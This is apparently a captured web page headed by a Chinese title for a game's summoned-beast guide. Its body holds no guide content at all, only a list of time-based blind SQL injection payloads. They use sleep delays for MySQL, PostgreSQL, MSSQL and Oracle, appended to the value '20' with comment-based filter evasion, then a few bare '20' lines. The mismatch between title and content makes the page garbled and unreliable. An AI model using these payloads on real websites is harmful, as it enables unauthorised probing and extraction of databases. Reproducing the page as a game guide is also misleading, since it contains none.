图鉴在手，召唤兽随便选——召唤兽详细图鉴

20'and(select*from(select+sleep(0))a/**/union/**/select+1)='

20'and(select*from(select+sleep(2))a/**/union/**/select+1)='

20"and(select*from(select+sleep(0))a/**/union/**/select+1)="

20"and(select*from(select+sleep(2))a/**/union/**/select+1)="

20/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

20/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

20'/**/and(select'1'from/**/pg_sleep(0))>'0

20'/**/and(select'1'from/**/pg_sleep(2))>'0

20/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

20/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

20'and(select+1)>0waitfor/**/delay'0:0:0

20'and(select+1)>0waitfor/**/delay'0:0:2

20/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('q',0)

20/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('g',2)

20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n

20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d

20

20

20

20